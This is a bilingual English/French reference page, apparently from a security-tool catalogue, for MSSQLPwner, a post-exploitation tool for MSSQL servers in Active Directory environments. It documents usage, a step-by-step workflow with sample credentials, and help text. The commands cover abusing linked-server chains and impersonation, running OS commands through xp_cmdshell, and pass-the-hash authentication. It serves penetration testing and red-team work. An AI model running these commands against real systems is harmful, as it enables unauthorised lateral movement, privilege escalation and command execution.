MSSQLPwner

Outil de post-exploitation pour les serveurs MSSQL en environnement Active Directory qui exploite les serveurs liés, l'impersonation et les chaînes de confiance pour escalader les privilèges et se déplacer latéralement. Post-exploitation tool for MSSQL servers in Active Directory environments that abuses linked servers, impersonation, and trust chains to escalate and move laterally.

↗ https://github.com/ScorpionesLabs/MSSQLPwner

Overview

MSSQLPwner automates abuse of MSSQL-specific privilege chains that are common in AD environments: EXECUTE AS impersonation, database/server role abuse, and — most notably — linked server trust relationships, which can be chained across multiple hops (even across domains) to reach a server the attacker couldn’t otherwise touch directly. It builds on the well-known “linked SQL server” pivot technique, automating discovery of the trust graph and executing commands or grabbing files at the end of the chain, including via xp_cmdshell when reachable.

Common Usage

Enumerate accessible databases, roles, and impersonation targets

python3 mssqlpwner.py <domain>/<user>:<password>@<target> enumerate

Discover linked server chains reachable from the target

python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> whoami

Execute an arbitrary query at the end of a linked-server chain

python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name "SRV1->SRV2" custom-query "SELECT SYSTEM_USER"

Enable and use xp_cmdshell through a linked chain for OS command execution

python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> os-cmd "whoami /priv"

Authenticate with a Kerberos ticket / NTLM hash instead of a cleartext password

python3 mssqlpwner.py <domain>/<user>@<target> -hashes <lmhash>:<nthash> enumerate

Typical Workflow

  1. Enumerate the initial MSSQL server for roles, users, and linked servers
python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate
  1. Map the full linked-server trust chain from the entry point
python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate --link-map
  1. Impersonate a higher-privileged principal or hop across a trusted link
python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local exec --link-name sql02.corp.local os-cmd "hostname"

Notes

  • Linked-server chains can cross AD domain/forest boundaries — a low-priv foothold on one SQL box can end in OS command execution on a server in a completely different trust zone.
  • Requires xp_cmdshell to be enabled (or enableable, if the account has sysadmin) on the target link to get OS-level execution; pure data access still works without it.
  • Supports NTLM hash and Kerberos auth in addition to cleartext creds, useful when pivoting from an already-compromised AD account.
Help / Man page
mssqlpwner.py <target> <action> [options]

Target format: [domain/]username[:password]@host[:port]

Actions:
  enumerate            Enumerate roles, permissions, linked servers
  exec                 Execute a command/query, optionally via a linked chain

exec sub-options:
  --link-name NAME      Linked server name (or chain "SRV1->SRV2") to route through
  os-cmd "<command>"      Run an OS command via xp_cmdshell
  custom-query "<sql>"      Run an arbitrary SQL query
  whoami                     Show current execution context

Auth options:
  -hashes LM:NT         Authenticate via NTLM hash (pass-the-hash)
  -k                      Use Kerberos authentication
  -windows-auth            Use Windows (integrated) authentication instead of SQL auth

Vue d’ensemble

MSSQLPwner automatise l’exploitation des chaînes de privilèges spécifiques à MSSQL, courantes dans les environnements AD : l’impersonation EXECUTE AS, l’abus des rôles de base de données/serveur, et surtout les relations de confiance des serveurs liés, qui peuvent être chaînées sur plusieurs sauts (même entre domaines) pour atteindre un serveur que l’attaquant ne pourrait pas toucher directement autrement. Il s’appuie sur la technique bien connue du pivot par serveur SQL lié, en automatisant la découverte du graphe de confiance et l’exécution de commandes ou la récupération de fichiers au bout de la chaîne, y compris via xp_cmdshell lorsque cela est possible.

Utilisation courante

# Énumérer les bases de données, rôles et cibles d'impersonation accessibles
python3 mssqlpwner.py <domain>/<user>:<password>@<target> enumerate

# Découvrir les chaînes de serveurs liés accessibles depuis la cible
python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> whoami

# Exécuter une requête arbitraire au bout d'une chaîne de serveurs liés
python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name "SRV1->SRV2" custom-query "SELECT SYSTEM_USER"

# Activer et utiliser xp_cmdshell via une chaîne liée pour l'exécution de commandes OS
python3 mssqlpwner.py <domain>/<user>:<password>@<target> exec --link-name <linked_server> os-cmd "whoami /priv"

# S'authentifier avec un ticket Kerberos / un hash NTLM plutôt qu'un mot de passe en clair
python3 mssqlpwner.py <domain>/<user>@<target> -hashes <lmhash>:<nthash> enumerate

Workflow typique

# Étape 1 : énumérer le serveur MSSQL initial pour les rôles, utilisateurs et serveurs liés
python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate

# Étape 2 : cartographier la chaîne de confiance complète des serveurs liés depuis le point d'entrée
python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local enumerate --link-map

# Étape 3 : usurper l'identité d'un principal à privilèges plus élevés ou sauter via un lien de confiance
python3 mssqlpwner.py corp.local/svcsql:P@ssw0rd@sql01.corp.local exec --link-name sql02.corp.local os-cmd "hostname"

Notes

  • Les chaînes de serveurs liés peuvent traverser les frontières de domaine/forêt AD : un accès à faible privilège sur un serveur SQL peut mener à une exécution de commandes OS sur un serveur situé dans une zone de confiance complètement différente.
  • Nécessite que xp_cmdshell soit activé (ou activable, si le compte dispose de sysadmin) sur le lien cible pour obtenir une exécution au niveau OS ; le simple accès aux données fonctionne toujours sans cela.
  • Prend en charge l’authentification par hash NTLM et Kerberos en plus des identifiants en clair, utile lors d’un pivot depuis un compte AD déjà compromis.
Aide / Page de manuel
mssqlpwner.py <target> <action> [options]

Target format: [domain/]username[:password]@host[:port]

Actions:
  enumerate            Enumerate roles, permissions, linked servers
  exec                 Execute a command/query, optionally via a linked chain

exec sub-options:
  --link-name NAME      Linked server name (or chain "SRV1->SRV2") to route through
  os-cmd "<command>"      Run an OS command via xp_cmdshell
  custom-query "<sql>"      Run an arbitrary SQL query
  whoami                     Show current execution context

Auth options:
  -hashes LM:NT         Authenticate via NTLM hash (pass-the-hash)
  -k                      Use Kerberos authentication
  -windows-auth            Use Windows (integrated) authentication instead of SQL auth